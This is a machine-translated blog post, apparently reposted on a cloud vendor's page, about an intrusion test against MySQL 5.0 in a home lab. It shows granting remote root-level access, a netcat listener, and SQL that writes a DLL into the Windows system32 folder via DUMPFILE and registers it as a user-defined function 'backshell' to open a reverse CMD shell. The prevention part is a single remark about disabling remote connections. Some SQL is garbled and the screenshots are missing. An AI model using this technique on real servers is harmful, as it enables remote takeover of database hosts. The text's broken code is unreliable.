Mysql5.0 intrusion test and prevention methods _ MySQL

Source: Internet
Author: User
Mysql5.0 intrusion testing and prevention methods sharing bitsCN.com

After the previous SQL server, I would like to try MYSQL's intrusion test and share it with you.
In general, I have been using MYSQL, and I am familiar with MYSQL. In comparison, I feel that MYSQL is safer. this is just what I guess, I hope it will not cause any argument... A blood case caused by a steamed bun...

Question 1

Host: Win7
Virtual Machine: XP

Grant mysql remote permissions:


Grant all privileges on *. * to database account @ authorized IP identified by 'database password ';
Flush privileges;


Remote permissions for hosts:

The host is successfully connected:

Before performing the intrusion test (with the picture showing the truth ):

After the intrusion test is executed (the truth is shown in the figure ):

Before restarting (see the following picture ):

After the restart (see the figure below ):

Question 2:

After the remote logon, write the code in yyd.txt, and then write the file in MySql:

Run another cmd command in Win7 to map the local port: nc-vv-l-p port number.

On the VM: execute the select ing: select backshell ("physical server IP address", port number );

This executes Port 3306 bounce CMD

(No figure... Using a nc ing of nc software execution)

Approximate content of yyd.txt:

Et @ a = concat ('',
Just some code );
Create table yyd (data LONGBLOB );
Insert into yyd values (""); updateyyd set data = @;
Select data from yyd into DUMPFILE 'C: // windows // system32 // yyd. dll ';
Create function backshell returns string soname 'yyd. dll ';


Question 3:

Prevention

I felt a bit messy. I mainly shared two methods of intrusion, but the prevention part should be that the MySql service on XP was closed, but I did a lot of tests on XP earlier, I screwed up XP in the lower left .... I had to take out the MySql service on Windows 7.

I think the main problem is remote connection. "if MySql does not enable remote connection, we are still friends." joke: if MySql does not enable remote connection, the intrusion rate will be much lower.

BitsCN.com

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.